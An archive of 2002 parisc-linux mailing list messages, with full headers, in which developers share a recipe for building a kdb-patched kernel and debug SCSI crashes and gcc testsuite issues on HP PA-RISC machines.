Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kdb recipe
Date: Wed, 8 May 2002 06:19:05 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20020508061905.B21381@systemhalted>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be> <20020507174619.GO32033@tausq.org> <1020837586.3cd8bed27dc62@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621286 7122 80.91.229.3 (22 Nov 2014 01:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 04:19:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BBAF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 04:19:11 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g48AJ5p22306;
	Wed, 8 May 2002 06:19:05 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1020837586.3cd8bed27dc62@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, May 08, 2002 at 07:59:46AM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14747

Joel,

The following recipe might help:

---
mkdir kdb-parisc
cd kdb-parisc
export CVSROOT=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs
cvs login
cvs co linux
cvs co palo
mkdir kdb
cd kdb
wget ftp://oss.sgi.com/projects/kdb/download/v2.1/kdb-v2.1-2.4.18-common-3.bz2
bunzip2 kdb-v2.1-2.4.18-common-3.bz2
wget http://www.baldric.uwo.ca/~carlos/kdb-parisc/kdb-v2.1-2.4.18-pa23-parisc.bz2
bunzip2 kdb-v2.1-2.4.18-pa23-parisc.bz2
cd ../linux
patch -p1 < ../kdb/kdb-v2.1-2.4.18-common-3
patch -p1 < ../kdb/kdb-v2.1-2.4.18-pa23-parisc
make oldconfig (Answer CPU and KDB questions)
(You can alternatively configure other things)
make dep
make palo
---

I won't be maintaining kdb patches outside the CVS try anymore, 
so the second wget will soon become a cvs checkout.

c.



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kdb recipe
Date: Wed, 08 May 2002 16:07:51 +0200 (CEST)
Lines: 58
Approved: news@gmane.org
Message-ID: <1020866871.3cd931378ecc1@webmail.tiscalinet.be>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be> <20020507174619.GO32033@tausq.org> <1020837586.3cd8bed27dc62@webmail.tiscalinet.be> <20020508061905.B21381@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621286 7124 80.91.229.3 (22 Nov 2014 01:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:46 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 08:08:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10E55482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 08:08:55 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 175S6h-0002zv-00; Wed, 08 May 2002 16:07:51 +0200
In-Reply-To: <20020508061905.B21381@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14748

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> Joel,
> 
> The following recipe might help:
> 
> ---
> mkdir kdb-parisc
> cd kdb-parisc
> export CVSROOT=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs
> cvs login
> cvs co linux
> cvs co palo
> mkdir kdb
> cd kdb
> wget
> ftp://oss.sgi.com/projects/kdb/download/v2.1/kdb-v2.1-2.4.18-common-3.bz2
> bunzip2 kdb-v2.1-2.4.18-common-3.bz2
> wget
> http://www.baldric.uwo.ca/~carlos/kdb-parisc/kdb-v2.1-2.4.18-pa23-parisc.bz2
> bunzip2 kdb-v2.1-2.4.18-pa23-parisc.bz2
> cd ../linux
> patch -p1 < ../kdb/kdb-v2.1-2.4.18-common-3
> patch -p1 < ../kdb/kdb-v2.1-2.4.18-pa23-parisc
> make oldconfig (Answer CPU and KDB questions)
> (You can alternatively configure other things)
> make dep
> make palo
> ---
> 
> I won't be maintaining kdb patches outside the CVS try anymore, 
> so the second wget will soon become a cvs checkout.
> 
> c.
> 
> 
Many thanks for explanation.

Right now, I just update the kdb21 branch that Paul update for -pa24 stuff.

Unfortunately I do not reach to boot it (test it with gcc-3.0.4 and gcc-3.1 co
two days ago). It seems to hang just after the message:
"...
a common symtom -- search the FAQ ..."

I also check that I can boot 2.4.18-pa24: 
    gcc 3.0.4 ok
    gcc 3.1 hang just after Freeing Init mem (364k)

Well I let you work and I will update kdb branch latter and try again.

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb recipe
Date: Wed, 8 May 2002 08:54:42 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20020508155442.GH30370@tausq.org>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be> <20020507174619.GO32033@tausq.org> <1020837586.3cd8bed27dc62@webmail.tiscalinet.be> <20020508061905.B21381@systemhalted>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621286 7125 80.91.229.3 (22 Nov 2014 01:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:46 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 08:36:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D31D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 08:36:24 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id frwenaaa for parisc-linux@lists.parisc-linux.org; Wed, 8 May 2002 07:34:52 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D25DDCD469; Wed,  8 May 2002 08:54:42 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020508061905.B21381@systemhalted>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14749

> I won't be maintaining kdb patches outside the CVS try anymore, 
> so the second wget will soon become a cvs checkout.

the kdb common patch is in the kdb cvs branch too, fwiw.

randolph



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dodgy SCSI in L2000
Date: Wed, 08 May 2002 10:08:03 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20020508160803.7DB61482A@dsl2.external.hp.com>
References: <002d01c1f633$bf3ebf50$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621287 7127 80.91.229.3 (22 Nov 2014 01:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 10:08:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7DB61482A; Wed,  8 May 2002 10:08:03 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Wed, 08 May 2002 13:57:45 +1200." <002d01c1f633$bf3ebf50$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14750

"James Braid" wrote:
> > Can you try a kernel with SCSI_NCR_IOMAPPED=y?
> 
> Yep. The kernels I am currently running already have that option set.
> I read something about SCSI not working without it, so I tried
> enabling it. Didn't really seem to have any affect on the problems I
> have been having.

The -pa7 I built has:
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set

Of those, the _SYNC param is probably the one you want to twiddle.
That sets the SDTR ceiling for all scsi busses in the system.
While the 896 chip can do faster, termination, cable length, device
bugs, misalignment of jupiter and pluto, failure to sacrifice enough
710s, etc can cause the symptoms you described.

On the last two generations of parisc machines one can cripple individual
SCSI busses via PDC. Look at the SCSI cmd in the "configuration" menu at
boot up.  A few months back I added the PDC calls to sym53c8xx driver to
get SCSI initiator ID, width, and SDTR settings. This PDC support was
intended for Multi-initiator SCSI clusters. But is useful to cripple a
bus when the topology doesn't support the capabilities of the
interfaces or devices.


> I will try mucking with the termination and cables, but they should
> be okay right? I mean, this box hasn't been opened or touched since
> (hardware wise) since we got it from HP.

I normally expect the internal cables to be OK from HP.
But given the current issues, it's worth double checking.

The need for termination varies depending on drive types and bus speeds.
I'm talking practical here since SCSI spec *requires* the termination.

grant



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Wed, 8 May 2002 17:50:16 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200205082150.g48LoH8F019074__13045.105248648$1416621287$gmane$org@hiauly1.hia.nrc.ca>
References: <20020506103212.A27151@disaster.basement.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621287 7129 80.91.229.3 (22 Nov 2014 01:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:47 +0000 (UTC)
Cc: tausq@debian.org, doko@cs.tu-berlin.de,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
To: phil@jaj.com (Phil Edwards)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 15:50:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7034E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 15:50:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g48LoIFN019075;
	Wed, 8 May 2002 17:50:19 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g48LoH8F019074;
	Wed, 8 May 2002 17:50:17 -0400 (EDT)
In-Reply-To: <20020506103212.A27151@disaster.basement.lan> from "Phil Edwards" at May 6, 2002 10:32:12 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14751

> > I still haven't figured out why libstdc++ needs to be installed prior
> > to running the testsuite.
> 
> That's weird... nothing immediately comes to mind.

LD_RUN_PATH in the environment is the culprit.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Dodgy SCSI in L2000
Date: Thu, 09 May 2002 10:54:45 -0600
Lines: 104
Approved: news@gmane.org
Message-ID: <20020509165445.7A515482A@dsl2.external.hp.com>
References: <000001c1f741$846d8730$0500a8c0@oscar>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621287 7133 80.91.229.3 (22 Nov 2014 01:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jamesb@peace.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  9 10:54:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7A515482A; Thu,  9 May 2002 10:54:45 -0600 (MDT)
In-Reply-To: Message from "James Braid" <jbraid@gmx.net> 
   of "Thu, 09 May 2002 22:08:27 +1200." <000001c1f741$846d8730$0500a8c0@oscar> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14752

"James Braid" wrote:
...
> Kernel Fault: Code=15 regs=000000004eb88000 (Addr=000000005eb80018)

> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010108fe0
> 0000000010108fe4

The fault was caused at 0x0000000010108fe0 - I need to see the
matching vmlinux and System.map to determine where this is in
the code.

>  IIR: 487a0030    ISR: 0000000000000000  IOR: 000000005eb80018
>  CPU:        0   CR30: 000000004eb48000 CR31: 0000000010460000
>  ORIG_R28: 000000001012c9fc
> 
> I then hard rebooted (rs command from the gsp), ran dbench 10 on sdc,
> and the box just completely froze after about half a line of dots from
> dbench.

When the box freezes, do "tc" from GSP. On reboot, at PDC prompt type
"ser pim" to get the state of the machine when it was TC'd.
Once you've saved the PIM dump, it's good to clear PIM.
(iirc, "ser clearpim")
Again, save matching Sysytem.map and vmlinux.

> So I was thinking that sdc may be a dodgy disk/controller, so
> then I rebooted again, ran dbench 10 on sdd, and it worked fine. Tried
> sdb, that was fine too. Okay, so theres something weird happening here,
> I tried dbench 10 on sdc now, and it ran fine. Ran dbench 10 a few more
> times on sdc and it ran fine every time. Also ran dbench 10 over all
> disks serially 4 times and no errors.

Well, that's interesting.

> I rebooted it cleanly (finally!) and went into the boot menu thing, and
> into the service menu, and had a look through the options. I saw the
> scsi paths were set to fast for the boot disk and ultra for the other 3
> disks.

IIRC, setting _SYNC parameter to 10 is equivalent to "fast".

> I set all the scsi paths to "fast" instead of ultra, booted up
> and ran dbench 10 on sdb and sdc simultaneously...it went okay for a
> while, and then, another kernel panic:
> 
> Dumping Stack from 0x0000000056f10000 to 0x0000000056f11380:
> WARNING! Stack pointer and cr30 do not correspond!

oic. In cases like this, we have to disable Stack Dumping since
it data page faults. I suspect that's what's happened in the
previous dumps too. You can disable stack dumps by changing "#if 1"
to "#if 0" on line 149 (show_stack()) in arch/parisc/kernel/traps.c.

BTW, typically this msg means a kernel driver is attempting to directly
access user space data instead of copying the data into kernel space.

...
> Hard rebooted it (*again*), ran dbench 10 on 1 disk (sdd), it ran fine,
> so I cranked it up to dbench 100. That crashed nicely with this panic:
> 
> Dumping Stack from 0x0000000056390000 to 0x0000000056390000:
> 
> Kernel Fault: Code=15 regs=0000000046390000 (Addr=0000000056388018)

did you get the "Stack pointer and cr30 do not correspond!" msg before this?
Well, I guess it doesn't matter...keep an eye out for it though.

> I have no idea whats going on here now :(

Me either since I've not seen this problem. This does sound like
the SCSI interface driver is hitting a corner case and dying there.
But that's just a SWAG.

I'll have to get dbench and try it on the a500 when that's available.

> Is there anything I need to do to decode these kernel panics or anything
> (I'm not a kernel hacker at all, so I don't really know much about the
> panics). I did notice that the ORIG_R28 part is identical on the panics
> though - no idea what this means.

GR02 and IAOQ are my starting points.
get "a.c" from http://cvs.parisc-linux.org/build-tools/
and use that to lookup symbols in System.map.

> I am running ext3 on all my disks - could this be causing any problems?

I doubt it. I'm running ext3 on all my machines.

> I did however notice that the problems still occurred running ext2
> before I re-made the filesystems.

yeah - i don't think this is related to anything in the file system.

...
> As for the good news, I tried a SMP kernel, and SMP works :)
> It sees both CPUs and uses them (I think, top doesn't show cpu usages,
> as per the bug in the bug tracking system).

SMP boots - but it's still less stable the UP. Maybe because of the same
problem you are running into here.

grant



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: henrique.leandro@varig.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 K Class 220 under Linux
Date: Thu, 09 May 2002 04:03:44 +0000 (Brazil/Eastern)
Lines: 14
Approved: news@gmane.org
Message-ID: <1020917024.3cd9f520e9551@devel.varig.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621287 7136 80.91.229.3 (22 Nov 2014 01:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:47 +0000 (UTC)
To: bame@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  9 11:07:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 851CF482A
	for <parisc-linux@parisc-linux.org>; Thu,  9 May 2002 11:07:04 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP id 129D8805178
	for <parisc-linux@parisc-linux.org>; Thu,  9 May 2002 13:07:04 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id AC9A637E77
	for <parisc-linux@parisc-linux.org>; Thu,  9 May 2002 11:07:03 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id 7412F4484
	for <parisc-linux@parisc-linux.org>; Thu,  9 May 2002 11:07:03 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 175rNf-0003N4-00
	for <parisc-linux@parisc-linux.org>; Thu, 09 May 2002 11:07:03 -0600
Original-Received: from localhost ([127.0.0.1] ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 175fA6-0002Yx-00
	for <bame@localhost>; Wed, 08 May 2002 22:04:14 -0600
Delivered-To: bame@ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com [15.1.50.190]
	by localhost with POP3 (fetchmail-5.9.10)
	for bame@localhost (single-drop); Wed, 08 May 2002 22:04:14 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2.fc.hp.com [15.15.136.253])
	by ldl.fc.hp.com (Postfix) with ESMTP id 91B5E44B9
	for <bame@ldl.fc.hp.com>; Wed,  8 May 2002 22:04:07 -0600 (MDT)
Original-Received: from palrel11.hp.com (palrel11.hp.com [15.81.168.21])
	by smtp2.fc.hp.com (Postfix) with ESMTP id E3F3537E85
	for <bame@fc.hp.com>; Wed,  8 May 2002 22:04:05 -0600 (MDT)
Original-Received: from dsl2.external.hp.com (dsl2.external.hp.com [192.25.206.7])
	by palrel11.hp.com (Postfix) with ESMTP id 599BF600B14
	for <bame@fc.hp.com>; Wed,  8 May 2002 21:04:03 -0700 (PDT)
Original-Received: by dsl2.external.hp.com (Postfix)
	id 7EBB2482B; Wed,  8 May 2002 22:03:59 -0600 (MDT)
Delivered-To: bame@dsl2.external.hp.com
Original-Received: from relay-out.varig.com (unknown [200.184.30.17])
	by dsl2.external.hp.com (Postfix) with SMTP id F3CCF482A
	for <bame@dsl2.external.hp.com>; Wed,  8 May 2002 22:03:57 -0600 (MDT)
Original-Received: (qmail 30745 invoked by uid 304); 9 May 2002 04:03:45 -0000
Original-Received: from henrique.leandro@varig.com by intra2.varig with qmail-scanner-0.96 (uvscan: v4.1.40/v4188. . Clean. Processed in 0.115266 secs); 09 May 2002 04:03:45 -0000
Original-Received: from unknown (HELO mon.varig.com) (192.168.1.13)
  by 0 with SMTP; 9 May 2002 04:03:45 -0000
Original-Received: (qmail 3794 invoked from network); 9 May 2002 04:03:44 -0000
Original-Received: from unknown (HELO rt.varig.com) ([192.168.1.17]) (envelope-sender <henrique.leandro@varig.com>)
          by 0 (qmail-ldap-1.03) with SMTP
          for <bame@dsl2.external.hp.com>; 9 May 2002 04:03:44 -0000
Original-Received: (qmail 15970 invoked by uid 65534); 9 May 2002 04:03:44 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.8
X-Originating-IP: 192.168.1.5
X-UIDL: \2#"!I4V!![?V"!g!1"!
Resent-To: parisc-linux@parisc-linux.org
Resent-Date: Thu, 09 May 2002 11:07:03 -0600
Resent-From: Paul Bame <bame@fc.hp.com>
Resent-Message-Id: <E175rNf-0003N4-00@paul.bame>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
